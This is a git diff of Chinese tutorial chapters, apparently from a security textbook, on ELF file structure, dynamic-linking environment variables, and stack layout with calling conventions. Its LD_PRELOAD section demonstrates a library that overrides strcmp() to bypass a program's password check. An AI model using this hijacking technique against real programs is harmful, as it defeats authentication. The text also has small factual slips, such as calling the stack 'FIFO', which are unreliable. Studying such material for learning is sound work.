把程序指令和程序数据分开存放有许多好处,从安全的角度讲,当程序被加载后,数据和指令分别被映射到两个虚拟区域。由于数据区域对于进程来说是可读写的,而指令区域对于进程来说是只读的,所以这两个虚存区域的权限可以被分别设置成可读写和只读,可以防止程序的指令被改写和利用。
|
||||
|
||||
### elfDemo.o
|
||||
|
||||
接下来,我们更深入地探索目标文件,使用 objdump 来查看目标文件的内部结构:
|
||||
|
||||
```text
|
||||
$ objdump -h elfDemo.o
|
||||
|
||||
@ -112,9 +121,11 @@ Idx Name Size VMA LMA File off Algn
|
||||
8 .eh_frame 0000007c 00000000 00000000 000000d8 2**2
|
||||
CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA
|
||||
```
|
||||
|
||||
可以看到目标文件中除了最基本的代码段、数据段和 BSS 段以外,还有一些别的段。注意到 .bss 段没有 `CONTENTS` 属性,表示它实际上并不存在,.bss 段只是为为未初始化的全局变量和局部静态变量预留了位置而已。
|
||||
|
||||
#### 代码段
|
||||
### 代码段
|
||||
|
||||
```text
|
||||
$ objdump -x -s -d elfDemo.o
|
||||
......
|
||||
@ -192,9 +203,11 @@ Disassembly of section .text:
|
||||
74: 8d 61 fc lea -0x4(%ecx),%esp
|
||||
77: c3 ret
|
||||
```
|
||||
|
||||
`Contents of section .text` 是 `.text` 的数据的十六进制形式,总共 0x78 个字节,最左边一列是偏移量,中间 4 列是内容,最右边一列是 ASCII 码形式。下面的 `Disassembly of section .text` 是反汇编结果。
|
||||
|
||||
#### 数据段和只读数据段
|
||||
### 数据段和只读数据段
|
||||
|
||||
```text
|
||||
......
|
||||
Sections:
|
||||
@ -210,41 +223,47 @@ Contents of section .rodata:
|
||||
0000 25640a00 %d..
|
||||
.......
|
||||
```
|
||||
|
||||
`.data` 段保存已经初始化了的全局变量和局部静态变量。`elfDemo.c` 中共有两个这样的变量,`global_init_var` 和 `local_static_init_var`,每个变量 4 个字节,一共 8 个字节。由于小端序的原因,`0a000000` 表示 `global_init_var` 值(`10`)的十六进制 `0x0a`,`14000000` 表示 `local_static_init_var` 值(`20`)的十六进制 `0x14`。
|
||||
|
||||
`.rodata` 段保存只读数据,包括只读变量和字符串常量。`elfDemo.c` 中调用 `printf` 的时候,用到了一个字符串变量 `%d\n`,它是一种只读数据,保存在 `.rodata` 段中,可以从输出结果看到字符串常量的 ASCII 形式,以 `\0` 结尾。
|
||||
|
||||
#### BSS段
|
||||
### BSS段
|
||||
|
||||
```text
|
||||
Sections:
|
||||
Idx Name Size VMA LMA File off Algn
|
||||
3 .bss 00000004 00000000 00000000 000000bc 2**2
|
||||
ALLOC
|
||||
```
|
||||
|
||||
`.bss` 段保存未初始化的全局变量和局部静态变量。
|
||||
|
||||
|
||||
## ELF 文件结构
|
||||
|
||||
对象文件参与程序链接(构建程序)和程序执行(运行程序)。ELF 结构几相关信息在 `/usr/include/elf.h` 文件中。
|
||||
|
||||
![](../pic/1.5.3_format.png)
|
||||
![img](../pic/1.5.3_format.png)
|
||||
|
||||
- **ELF 文件头(ELF Header)** 在目标文件格式的最前面,包含了描述整个文件的基本属性。
|
||||
- **程序头表(Program Header Table)** 是可选的,它告诉系统怎样创建一个进程映像。可执行文件必须有程序头表,而重定位文件不需要。
|
||||
- **段(Section)** 包含了链接视图中大量的目标文件信息。
|
||||
- **段表(Section Header Table)** 包含了描述文件中所有段的信息。
|
||||
|
||||
#### 32位数据类型
|
||||
名称 | 长度 | 对其 | 描述 | 原始类型
|
||||
----|----|----|----|----
|
||||
Elf32_Addr | 4 | 4 | 无符号程序地址 | uint32_t
|
||||
Elf32_Half | 2 | 2 | 无符号短整型 | uint16_t
|
||||
Elf32_Off | 4 | 4 | 无符号偏移地址 | uint32_t
|
||||
Elf32_Sword | 4 | 4 | 有符号整型 | int32_t
|
||||
Elf32_Word | 4 | 4 | 无符号整型 | uint32_t
|
||||
### 32位数据类型
|
||||
|
||||
| 名称 | 长度 | 对其 | 描述 | 原始类型 |
|
||||
| --- | --- | --- | --- | --- |
|
||||
| Elf32_Addr | 4 | 4 | 无符号程序地址 | uint32_t |
|
||||
| Elf32_Half | 2 | 2 | 无符号短整型 | uint16_t |
|
||||
| Elf32_Off | 4 | 4 | 无符号偏移地址 | uint32_t |
|
||||
| Elf32_Sword | 4 | 4 | 有符号整型 | int32_t |
|
||||
| Elf32_Word | 4 | 4 | 无符号整型 | uint32_t |
|
||||
|
||||
### 文件头
|
||||
|
||||
#### 文件头
|
||||
ELF 文件头必然存在于 ELF 文件的开头,表明这是一个 ELF 文件。定义如下:
|
||||
|
||||
```C
|
||||
typedef struct
|
||||
{
|
||||
@ -282,9 +301,11 @@ typedef struct
|
||||
Elf64_Half e_shstrndx; /* Section header string table index */
|
||||
} Elf64_Ehdr;
|
||||
```
|
||||
|
||||
`e_ident` 保存着 ELF 的幻数和其他信息,最前面四个字节是幻数,用字符串表示为 `\177ELF`,其后的字节如果是 32 位则是 ELFCLASS32 (1),如果是 64 位则是 ELFCLASS64 (2),再其后的字节表示端序,小端序为 ELFDATA2LSB (1),大端序为 ELFDATA2LSB (2)。最后一个字节则表示 ELF 的版本。
|
||||
|
||||
现在我们使用 readelf 命令来查看 elfDome.out 的文件头:
|
||||
|
||||
```text
|
||||
$ readelf -h elfDemo.out
|
||||
ELF Header:
|
||||
@ -309,10 +330,12 @@ ELF Header:
|
||||
Section header string table index: 29
|
||||
```
|
||||
|
||||
#### 程序头
|
||||
### 程序头
|
||||
|
||||
程序头表是由 ELF 头的 `e_phoff` 指定的偏移量和 `e_phentsize`、`e_phnum` 共同确定大小的表格组成。`e_phentsize` 表示表格中程序头的大小,`e_phnum` 表示表格中程序头的数量。
|
||||
|
||||
程序头的定义如下:
|
||||
|
||||
```C
|
||||
typedef struct
|
||||
{
|
||||
@ -340,7 +363,8 @@ typedef struct
|
||||
```
|
||||
|
||||
使用 readelf 来查看程序头:
|
||||
```
|
||||
|
||||
```text
|
||||
$ readelf -l elfDemo.out
|
||||
|
||||
Elf file type is DYN (Shared object file)
|
||||
@ -373,8 +397,10 @@ Program Headers:
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
```
|
||||
|
||||
#### 段
|
||||
### 段
|
||||
|
||||
段表(Section Header Table)是一个以 `Elf32_Shdr` 结构体为元素的数组,每个结构体对应一个段,它描述了各个段的信息。ELF 文件头的 `e_shoff` 成员给出了段表在 ELF 中的偏移,`e_shnum` 成员给出了段描述符的数量,`e_shentsize` 给出了每个段描述符的大小。
|
||||
|
||||
```C
|
||||
typedef struct
|
||||
{
|
||||
@ -406,6 +432,7 @@ typedef struct
|
||||
```
|
||||
|
||||
使用 readelf 命令查看目标文件中完整的段:
|
||||
|
||||
```text
|
||||
$ readelf -S elfDemo.o
|
||||
There are 15 section headers, starting at offset 0x41c:
|
||||
@ -433,27 +460,30 @@ Key to Flags:
|
||||
C (compressed), x (unknown), o (OS specific), E (exclude),
|
||||
p (processor specific)
|
||||
```
|
||||
|
||||
注意,ELF 段表的第一个元素是被保留的,类型为 NULL。
|
||||
|
||||
#### 字符串表
|
||||
### 字符串表
|
||||
|
||||
字符串表以段的形式存在,包含了以 null 结尾的字符序列。对象文件使用这些字符串来表示符号和段名称,引用字符串时只需给出在表中的偏移即可。字符串表的第一个字符和最后一个字符为空字符,以确保所有字符串的开始和终止。通常段名为 `.strtab` 的字符串表是 **字符串表(Strings Table)**,段名为 `.shstrtab` 的是段表字符串表(Section Header String Table)。
|
||||
|
||||
偏移 | +0 | +1 | +2 | +3 | +4 | +5 | +6 | +7 | +8 | +9
|
||||
----|----|----|----|----|----|----|----|----|----|----
|
||||
**+0** | \0 | h | e | l | l | o | \0 | w | o | r
|
||||
**+10** | l | d | \0 | h | e | l | l | o | w | o
|
||||
**+20** | r | l | d | \0
|
||||
| 偏移 | +0 | +1 | +2 | +3 | +4 | +5 | +6 | +7 | +8 | +9 |
|
||||
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
|
||||
| **+0** | \0 | h | e | l | l | o | \0 | w | o | r |
|
||||
| **+10** | l | d | \0 | h | e | l | l | o | w | o |
|
||||
| **+20** | r | l | d | \0 |
|
||||
|
||||
偏移 | 字符串
|
||||
----|----
|
||||
0 | 空字符串
|
||||
1 | hello
|
||||
7 | world
|
||||
13 | helloworld
|
||||
18 | world
|
||||
| 偏移 | 字符串 |
|
||||
| --- | --- |
|
||||
| 0 | 空字符串 |
|
||||
| 1 | hello |
|
||||
| 7 | world |
|
||||
| 13 | helloworld |
|
||||
| 18 | world |
|
||||
|
||||
可以使用 readelf 读取这两个表:
|
||||
```
|
||||
|
||||
```text
|
||||
$ readelf -x .strtab elfDemo.o
|
||||
|
||||
Hex dump of section '.strtab':
|
||||
@ -483,8 +513,10 @@ Hex dump of section '.shstrtab':
|
||||
0x00000080 7000
|
||||
```
|
||||
|
||||
#### 符号表
|
||||
### 符号表
|
||||
|
||||
目标文件的符号表保存了定位和重定位程序的符号定义和引用所需的信息。符号表索引是这个数组的下标。索引0指向表中的第一个条目,作为未定义的符号索引。
|
||||
|
||||
```C
|
||||
typedef struct
|
||||
{
|
||||
@ -508,6 +540,7 @@ typedef struct
|
||||
```
|
||||
|
||||
查看符号表:
|
||||
|
||||
```text
|
||||
$ readelf -s elfDemo.o
|
||||
|
||||
@ -535,8 +568,10 @@ Symbol table '.symtab' contains 20 entries:
|
||||
19: 0000002e 74 FUNC GLOBAL DEFAULT 2 main
|
||||
```
|
||||
|
||||
#### 重定位
|
||||
### 重定位
|
||||
|
||||
重定位是连接符号定义与符号引用的过程。可重定位文件必须具有描述如何修改段内容的信息,从而运行可执行文件和共享对象文件保存进程程序映像的正确信息。
|
||||
|
||||
```C
|
||||
typedef struct
|
||||
{
|
||||
@ -553,6 +588,7 @@ typedef struct
|
||||
```
|
||||
|
||||
查看重定位表:
|
||||
|
||||
```text
|
||||
$ readelf -r elfDemo.o
|
||||
|
||||
@ -575,7 +611,7 @@ Relocation section '.rel.eh_frame' at offset 0x380 contains 3 entries:
|
||||
00000070 00000802 R_386_PC32 00000000 .text.__x86.get_pc_thu
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- `$ man elf`
|
||||
- [Acronyms relevant to Executable and Linkable Format (ELF)](https://www.cs.stevens.edu/~jschauma/631/elf.html)
|
||||
|
@ -2,9 +2,10 @@
|
||||
|
||||
- [动态链接相关的环境变量](#动态链接相关的环境变量)
|
||||
|
||||
|
||||
## 动态链接相关的环境变量
|
||||
#### LD_PRELOAD
|
||||
|
||||
### LD_PRELOAD
|
||||
|
||||
LD_PRELOAD 环境变量可以定义在程序运行前优先加载的动态链接库。这使得我们可以有选择性地加载不同动态链接库中的相同函数,即通过设置该变量,在主程序和其动态链接库中间加载别的动态链接库,甚至覆盖原本的库。这就有可能出现劫持程序执行的安全问题。
|
||||
|
||||
```c
|
||||
@ -22,8 +23,10 @@ void main() {
|
||||
printf("invalid\n");
|
||||
}
|
||||
```
|
||||
|
||||
下面我们构造一个恶意的动态链接库来重载 `strcmp()` 函数,编译为动态链接库,并设置 LD_PRELOAD 环境变量:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat hack.c
|
||||
#include<stdio.h>
|
||||
#include<stdio.h>
|
||||
@ -43,7 +46,9 @@ correct
|
||||
```
|
||||
|
||||
#### LD_SHOW_AUXV
|
||||
|
||||
AUXV 是内核在执行 ELF 文件时传递给用户空间的信息,设置该环境变量可以显示这些信息。如:
|
||||
|
||||
```text
|
||||
$ LD_SHOW_AUXV=1 ls
|
||||
AT_SYSINFO_EHDR: 0x7fff41fbc000
|
||||
|
@ -4,52 +4,59 @@
|
||||
- [栈与调用约定](#栈与调用约定)
|
||||
- [堆与内存管理](#堆与内存管理)
|
||||
|
||||
|
||||
## 什么是内存
|
||||
|
||||
为了使用户程序在运行时具有一个私有的地址空间、有自己的 CPU,就像独占了整个计算机一样,现代操作系统提出了虚拟内存的概念。
|
||||
|
||||
虚拟内存的主要作用主要为三个:
|
||||
|
||||
- 它将内存看做一个存储在磁盘上的地址空间的高速缓存,在内存中只保存活动区域,并根据需要在磁盘和内存之间来回传送数据。
|
||||
- 它为每个进程提供了一致的地址空间。
|
||||
- 它保护了每个进程的地址空间不被其他进程破坏。
|
||||
|
||||
现代操作系统采用虚拟寻址的方式,CPU 通过生成一个虚拟地址(Virtual Address(VA))来访问内存,然后这个虚拟地址通过内存管理单元(Memory Management Unit(MMU))转换成物理地址之后被送到存储器。
|
||||
|
||||
![](../pic/1.5.7_va.png)
|
||||
![img](../pic/1.5.7_va.png)
|
||||
|
||||
前面我们已经看到可执行文件被映射到了内存中,Linux 为每个进程维持了一个单独的虚拟地址空间,包括了 .text、.data、.bss、栈(stack)、堆(heap),共享库等内容。
|
||||
|
||||
32 位系统有 4GB 的地址空间,其中 0x08048000~0xbfffffff 是用户空间(3GB),0xc0000000~0xffffffff 是内核空间(1GB)。
|
||||
|
||||
![](../pic/1.5.7_vm.png)
|
||||
|
||||
![img](../pic/1.5.7_vm.png)
|
||||
|
||||
## 栈与调用约定
|
||||
#### 栈
|
||||
|
||||
### 栈
|
||||
|
||||
栈是一个先入后出(First In Last Out(FIFO))的容器。用于存放函数返回地址及参数、临时变量和有关上下文的内容。程序在调用函数时,操作系统会自动通过压栈和弹栈完成保存函数现场等操作,不需要程序员手动干预。
|
||||
|
||||
栈由高地址向低地址增长,栈保存了一个函数调用所需要的维护信息,称为堆栈帧(Stack Frame)在 x86 体系中,寄存器 `ebp` 指向堆栈帧的底部,`esp` 指向堆栈帧的顶部。压栈时栈顶地址减小,弹栈时栈顶地址增大。
|
||||
|
||||
- `PUSH`:用于压栈。将 `esp` 减 4,然后将其唯一操作数的内容写入到 `esp` 指向的内存地址
|
||||
- `POP` :用于弹栈。从 `esp` 指向的内存地址获得数据,将其加载到指令操作数(通常是一个寄存器)中,然后将 `esp` 加 4。
|
||||
|
||||
x86 体系下函数的调用总是这样的:
|
||||
|
||||
- 把所有或一部分参数压入栈中,如果有其他参数没有入栈,那么使用某些特定的寄存器传递。
|
||||
- 把当前指令的下一条指令的地址压入栈中。
|
||||
- 跳转到函数体执行。
|
||||
|
||||
其中第 2 步和第 3 步由指令 `call` 一起执行。跳转到函数体之后即开始执行函数,而 x86 函数体的开头是这样的:
|
||||
|
||||
- `push ebp`:把ebp压入栈中(old ebp)。
|
||||
- `mov ebp, esp`:ebp=esp(这时ebp指向栈顶,而此时栈顶就是old ebp)
|
||||
- [可选] `sub esp, XXX`:在栈上分配 XXX 字节的临时空间。
|
||||
- [可选] `push XXX`:保存名为 XXX 的寄存器。
|
||||
|
||||
把ebp压入栈中,是为了在函数返回时恢复以前的ebp值,而压入寄存器的值,是为了保持某些寄存器在函数调用前后保存不变。函数返回时的操作与开头正好相反:
|
||||
|
||||
- [可选] `pop XXX`:恢复保存的寄存器。
|
||||
- `mov esp, ebp`:恢复esp同时回收局部变量空间。
|
||||
- `pop ebp`:恢复保存的ebp的值。
|
||||
- `ret`:从栈中取得返回地址,并跳转到该位置。
|
||||
|
||||
栈帧对应的汇编代码:
|
||||
|
||||
```text
|
||||
PUSH ebp ; 函数开始(使用ebp前先把已有值保存到栈中)
|
||||
MOV ebp, esp ; 保存当前esp到ebp中
|
||||
@ -63,9 +70,10 @@ RET ; 函数返回并跳转
|
||||
|
||||
函数调用后栈的标准布局如下图:
|
||||
|
||||
![](../pic/1.5.7_stack.png)
|
||||
![img](../pic/1.5.7_stack.png)
|
||||
|
||||
我们来看一个例子:[源码](../src/others/1.5.7_memory/stack.c)
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
int add(int a, int b) {
|
||||
@ -81,111 +89,117 @@ int main() {
|
||||
```
|
||||
|
||||
使用 gdb 查看对应的汇编代码,这里我们给出了详细的注释:
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble main
|
||||
Dump of assembler code for function main:
|
||||
0x00000563 <+0>: lea ecx,[esp+0x4] ;将 esp+0x4 的地址传给 ecx
|
||||
0x00000567 <+4>: and esp,0xfffffff0 ;栈 16 字节对齐
|
||||
0x0000056a <+7>: push DWORD PTR [ecx-0x4] ;ecx-0x4,即原 esp 强制转换为双字数据后压入栈中
|
||||
0x0000056d <+10>: push ebp ;保存调用 main() 函数之前的 ebp,由于在 _start 中将 ebp 清零了,这里的 ebp=0x0
|
||||
0x0000056e <+11>: mov ebp,esp ;把调用 main() 之前的 esp 作为当前栈帧的 ebp
|
||||
0x00000570 <+13>: push ebx ;ebx、ecx 入栈
|
||||
0x00000571 <+14>: push ecx
|
||||
0x00000572 <+15>: sub esp,0x10 ;为局部变量 a、b 分配空间并做到 16 字节对齐
|
||||
0x00000575 <+18>: call 0x440 <__x86.get_pc_thunk.bx> ;调用 <__x86.get_pc_thunk.bx> 函数,将 esp 强制转换为双字数据后保存到 ebx
|
||||
0x0000057a <+23>: add ebx,0x1a86 ;ebx+0x1a86
|
||||
0x00000580 <+29>: mov DWORD PTR [ebp-0x10],0x1 ;a 第二个入栈所以保存在 ebp-0x10 的位置,此句即 a=1
|
||||
0x00000587 <+36>: mov DWORD PTR [ebp-0xc],0x2 ;b 第一个入栈所以保存在 ebp-0xc 的位置,此句即 b=2
|
||||
0x0000058e <+43>: push DWORD PTR [ebp-0xc] ;将 b 压入栈中
|
||||
0x00000591 <+46>: push DWORD PTR [ebp-0x10] ;将 a 压入栈中
|
||||
0x00000594 <+49>: call 0x53d <add> ;调用 add() 函数,返回值保存在 eax 中
|
||||
0x00000599 <+54>: add esp,0x8 ;清理 add() 的参数
|
||||
0x0000059c <+57>: sub esp,0x8 ;调整 esp 使 16 位对齐
|
||||
0x0000059f <+60>: push eax ;eax 入栈
|
||||
0x000005a0 <+61>: lea eax,[ebx-0x19b0] ;ebx-0x19b0 的地址保存到 eax,该地址处保存字符串 "%d\n"
|
||||
0x000005a6 <+67>: push eax ;eax 入栈
|
||||
0x000005a7 <+68>: call 0x3d0 <printf@plt> ;调用 printf() 函数
|
||||
0x000005ac <+73>: add esp,0x10 ;调整栈顶指针 esp,清理 printf() 的参数
|
||||
0x000005af <+76>: mov eax,0x0 ;eax=0x0
|
||||
0x000005b4 <+81>: lea esp,[ebp-0x8] ;ebp-0x8 的地址保存到 esp
|
||||
0x000005b7 <+84>: pop ecx ;弹栈恢复 ecx、ebx、ebp
|
||||
0x000005b8 <+85>: pop ebx
|
||||
0x000005b9 <+86>: pop ebp
|
||||
0x000005ba <+87>: lea esp,[ecx-0x4] ;ecx-0x4 的地址保存到 esp
|
||||
0x000005bd <+90>: ret ;返回,相当于 pop eip;
|
||||
0x00000563 <+0>: lea ecx,[esp+0x4] ;将 esp+0x4 的地址传给 ecx
|
||||
0x00000567 <+4>: and esp,0xfffffff0 ;栈 16 字节对齐
|
||||
0x0000056a <+7>: push DWORD PTR [ecx-0x4] ;ecx-0x4,即原 esp 强制转换为双字数据后压入栈中
|
||||
0x0000056d <+10>: push ebp ;保存调用 main() 函数之前的 ebp,由于在 _start 中将 ebp 清零了,这里的 ebp=0x0
|
||||
0x0000056e <+11>: mov ebp,esp ;把调用 main() 之前的 esp 作为当前栈帧的 ebp
|
||||
0x00000570 <+13>: push ebx ;ebx、ecx 入栈
|
||||
0x00000571 <+14>: push ecx
|
||||
0x00000572 <+15>: sub esp,0x10 ;为局部变量 a、b 分配空间并做到 16 字节对齐
|
||||
0x00000575 <+18>: call 0x440 <__x86.get_pc_thunk.bx> ;调用 <__x86.get_pc_thunk.bx> 函数,将 esp 强制转换为双字数据后保存到 ebx
|
||||
0x0000057a <+23>: add ebx,0x1a86 ;ebx+0x1a86
|
||||
0x00000580 <+29>: mov DWORD PTR [ebp-0x10],0x1 ;a 第二个入栈所以保存在 ebp-0x10 的位置,此句即 a=1
|
||||
0x00000587 <+36>: mov DWORD PTR [ebp-0xc],0x2 ;b 第一个入栈所以保存在 ebp-0xc 的位置,此句即 b=2
|
||||
0x0000058e <+43>: push DWORD PTR [ebp-0xc] ;将 b 压入栈中
|
||||
0x00000591 <+46>: push DWORD PTR [ebp-0x10] ;将 a 压入栈中
|
||||
0x00000594 <+49>: call 0x53d <add> ;调用 add() 函数,返回值保存在 eax 中
|
||||
0x00000599 <+54>: add esp,0x8 ;清理 add() 的参数
|
||||
0x0000059c <+57>: sub esp,0x8 ;调整 esp 使 16 位对齐
|
||||
0x0000059f <+60>: push eax ;eax 入栈
|
||||
0x000005a0 <+61>: lea eax,[ebx-0x19b0] ;ebx-0x19b0 的地址保存到 eax,该地址处保存字符串 "%d\n"
|
||||
0x000005a6 <+67>: push eax ;eax 入栈
|
||||
0x000005a7 <+68>: call 0x3d0 <printf@plt> ;调用 printf() 函数
|
||||
0x000005ac <+73>: add esp,0x10 ;调整栈顶指针 esp,清理 printf() 的参数
|
||||
0x000005af <+76>: mov eax,0x0 ;eax=0x0
|
||||
0x000005b4 <+81>: lea esp,[ebp-0x8] ;ebp-0x8 的地址保存到 esp
|
||||
0x000005b7 <+84>: pop ecx ;弹栈恢复 ecx、ebx、ebp
|
||||
0x000005b8 <+85>: pop ebx
|
||||
0x000005b9 <+86>: pop ebp
|
||||
0x000005ba <+87>: lea esp,[ecx-0x4] ;ecx-0x4 的地址保存到 esp
|
||||
0x000005bd <+90>: ret ;返回,相当于 pop eip;
|
||||
End of assembler dump.
|
||||
gdb-peda$ disassemble add
|
||||
Dump of assembler code for function add:
|
||||
0x0000053d <+0>: push ebp ;保存调用 add() 函数之前的 ebp
|
||||
0x0000053e <+1>: mov ebp,esp ;把调用 add() 之前的 esp 作为当前栈帧的 ebp
|
||||
0x00000540 <+3>: sub esp,0x10 ;为局部变量 x、y 分配空间并做到 16 字节对齐
|
||||
0x00000543 <+6>: call 0x5be <__x86.get_pc_thunk.ax> ;调用 <__x86.get_pc_thunk.ax> 函数,将 esp 强制转换为双字数据后保存到 eax
|
||||
0x00000548 <+11>: add eax,0x1ab8 ;eax+0x1ab8
|
||||
0x0000054d <+16>: mov eax,DWORD PTR [ebp+0x8] ;将 ebp+0x8 的数据 0x1 传送到 eax,ebp+0x4 为函数返回地址
|
||||
0x00000550 <+19>: mov DWORD PTR [ebp-0x8],eax ;保存 eax 的值 0x1 到 ebp-0x8 的位置
|
||||
0x00000553 <+22>: mov eax,DWORD PTR [ebp+0xc] ;将 ebp+0xc 的数据 0x2 传送到 eax
|
||||
0x00000556 <+25>: mov DWORD PTR [ebp-0x4],eax ;保存 eax 的值 0x2 到 ebp-0x4 的位置
|
||||
0x00000559 <+28>: mov edx,DWORD PTR [ebp-0x8] ;取出 ebp-0x8 的值 0x1 到 edx
|
||||
0x0000055c <+31>: mov eax,DWORD PTR [ebp-0x4] ;取出 ebp-0x4 的值 0x2 到 eax
|
||||
0x0000055f <+34>: add eax,edx ;eax+edx
|
||||
0x00000561 <+36>: leave ;返回,相当于 mov esp,ebp; pop ebp;
|
||||
0x00000562 <+37>: ret
|
||||
0x0000053d <+0>: push ebp ;保存调用 add() 函数之前的 ebp
|
||||
0x0000053e <+1>: mov ebp,esp ;把调用 add() 之前的 esp 作为当前栈帧的 ebp
|
||||
0x00000540 <+3>: sub esp,0x10 ;为局部变量 x、y 分配空间并做到 16 字节对齐
|
||||
0x00000543 <+6>: call 0x5be <__x86.get_pc_thunk.ax> ;调用 <__x86.get_pc_thunk.ax> 函数,将 esp 强制转换为双字数据后保存到 eax
|
||||
0x00000548 <+11>: add eax,0x1ab8 ;eax+0x1ab8
|
||||
0x0000054d <+16>: mov eax,DWORD PTR [ebp+0x8] ;将 ebp+0x8 的数据 0x1 传送到 eax,ebp+0x4 为函数返回地址
|
||||
0x00000550 <+19>: mov DWORD PTR [ebp-0x8],eax ;保存 eax 的值 0x1 到 ebp-0x8 的位置
|
||||
0x00000553 <+22>: mov eax,DWORD PTR [ebp+0xc] ;将 ebp+0xc 的数据 0x2 传送到 eax
|
||||
0x00000556 <+25>: mov DWORD PTR [ebp-0x4],eax ;保存 eax 的值 0x2 到 ebp-0x4 的位置
|
||||
0x00000559 <+28>: mov edx,DWORD PTR [ebp-0x8] ;取出 ebp-0x8 的值 0x1 到 edx
|
||||
0x0000055c <+31>: mov eax,DWORD PTR [ebp-0x4] ;取出 ebp-0x4 的值 0x2 到 eax
|
||||
0x0000055f <+34>: add eax,edx ;eax+edx
|
||||
0x00000561 <+36>: leave ;返回,相当于 mov esp,ebp; pop ebp;
|
||||
0x00000562 <+37>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
这里我们在 Linux 环境下,由于 ELF 文件的入口其实是 `_start` 而不是 `main()`,所以我们还应该关注下面的函数:
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble _start
|
||||
Dump of assembler code for function _start:
|
||||
0x00000400 <+0>: xor ebp,ebp ;清零 ebp,表示下面的 main() 函数栈帧中 ebp 保存的上一级 ebp 为 0x00000000
|
||||
0x00000402 <+2>: pop esi ;将 argc 存入 esi
|
||||
0x00000403 <+3>: mov ecx,esp ;将栈顶地址(argv 和 env 数组的其实地址)传给 ecx
|
||||
0x00000405 <+5>: and esp,0xfffffff0 ;栈 16 字节对齐
|
||||
0x00000408 <+8>: push eax ;eax、esp、edx 入栈
|
||||
0x00000409 <+9>: push esp
|
||||
0x0000040a <+10>: push edx
|
||||
0x0000040b <+11>: call 0x432 <_start+50> ;先将下一条指令地址 0x00000410 压栈,设置 esp 指向它,再调用 0x00000432 处的指令
|
||||
0x00000410 <+16>: add ebx,0x1bf0 ;ebx+0x1bf0
|
||||
0x00000416 <+22>: lea eax,[ebx-0x19d0] ;取 <__libc_csu_fini> 地址传给 eax,然后压栈
|
||||
0x0000041c <+28>: push eax
|
||||
0x0000041d <+29>: lea eax,[ebx-0x1a30] ;取 <__libc_csu_init> 地址传入 eax,然后压栈
|
||||
0x00000423 <+35>: push eax
|
||||
0x00000424 <+36>: push ecx ;ecx、esi 入栈保存
|
||||
0x00000425 <+37>: push esi
|
||||
0x00000426 <+38>: push DWORD PTR [ebx-0x8] ;调用 main() 函数之前保存返回地址,其实就是保存 main() 函数的入口地址
|
||||
0x0000042c <+44>: call 0x3e0 <__libc_start_main@plt> ;call 指令调用 __libc_start_main 函数
|
||||
0x00000431 <+49>: hlt ;hlt 指令使程序停止运行,处理器进入暂停状态,不执行任何操作,不影响标志。当 RESET 线上有复位信号、CPU 响应非屏蔽终端、CPU 响应可屏蔽终端 3 种情况之一时,CPU 脱离暂停状态,执行下一条指令
|
||||
0x00000432 <+50>: mov ebx,DWORD PTR [esp] ;esp 强制转换为双字数据后保存到 ebx
|
||||
0x00000435 <+53>: ret ;返回,相当于 pop eip;
|
||||
0x00000436 <+54>: xchg ax,ax ;交换 ax 和 ax 的数据,相当于 nop
|
||||
0x00000438 <+56>: xchg ax,ax
|
||||
0x0000043a <+58>: xchg ax,ax
|
||||
0x0000043c <+60>: xchg ax,ax
|
||||
0x0000043e <+62>: xchg ax,ax
|
||||
0x00000400 <+0>: xor ebp,ebp ;清零 ebp,表示下面的 main() 函数栈帧中 ebp 保存的上一级 ebp 为 0x00000000
|
||||
0x00000402 <+2>: pop esi ;将 argc 存入 esi
|
||||
0x00000403 <+3>: mov ecx,esp ;将栈顶地址(argv 和 env 数组的其实地址)传给 ecx
|
||||
0x00000405 <+5>: and esp,0xfffffff0 ;栈 16 字节对齐
|
||||
0x00000408 <+8>: push eax ;eax、esp、edx 入栈
|
||||
0x00000409 <+9>: push esp
|
||||
0x0000040a <+10>: push edx
|
||||
0x0000040b <+11>: call 0x432 <_start+50> ;先将下一条指令地址 0x00000410 压栈,设置 esp 指向它,再调用 0x00000432 处的指令
|
||||
0x00000410 <+16>: add ebx,0x1bf0 ;ebx+0x1bf0
|
||||
0x00000416 <+22>: lea eax,[ebx-0x19d0] ;取 <__libc_csu_fini> 地址传给 eax,然后压栈
|
||||
0x0000041c <+28>: push eax
|
||||
0x0000041d <+29>: lea eax,[ebx-0x1a30] ;取 <__libc_csu_init> 地址传入 eax,然后压栈
|
||||
0x00000423 <+35>: push eax
|
||||
0x00000424 <+36>: push ecx ;ecx、esi 入栈保存
|
||||
0x00000425 <+37>: push esi
|
||||
0x00000426 <+38>: push DWORD PTR [ebx-0x8] ;调用 main() 函数之前保存返回地址,其实就是保存 main() 函数的入口地址
|
||||
0x0000042c <+44>: call 0x3e0 <__libc_start_main@plt> ;call 指令调用 __libc_start_main 函数
|
||||
0x00000431 <+49>: hlt ;hlt 指令使程序停止运行,处理器进入暂停状态,不执行任何操作,不影响标志。当 RESET 线上有复位信号、CPU 响应非屏蔽终端、CPU 响应可屏蔽终端 3 种情况之一时,CPU 脱离暂停状态,执行下一条指令
|
||||
0x00000432 <+50>: mov ebx,DWORD PTR [esp] ;esp 强制转换为双字数据后保存到 ebx
|
||||
0x00000435 <+53>: ret ;返回,相当于 pop eip;
|
||||
0x00000436 <+54>: xchg ax,ax ;交换 ax 和 ax 的数据,相当于 nop
|
||||
0x00000438 <+56>: xchg ax,ax
|
||||
0x0000043a <+58>: xchg ax,ax
|
||||
0x0000043c <+60>: xchg ax,ax
|
||||
0x0000043e <+62>: xchg ax,ax
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
#### 函数调用约定
|
||||
### 函数调用约定
|
||||
|
||||
函数调用约定是对函数调用时如何传递参数的一种约定。调用函数前要先把参数压入栈然后再传递给函数。
|
||||
|
||||
一个调用约定大概有如下的内容:
|
||||
|
||||
- 函数参数的传递顺序和方式
|
||||
- 栈的维护方式
|
||||
- 名字修饰的策略
|
||||
|
||||
主要的函数调用约定如下,其中 cdecl 是 C 语言默认的调用约定:
|
||||
|
||||
调用约定 | 出栈方 | 参数传递 | 名字修饰
|
||||
--- | --- | --- | ---
|
||||
cdecl | 函数调用方 | 从右到左的顺序压参数入栈 | 下划线+函数名
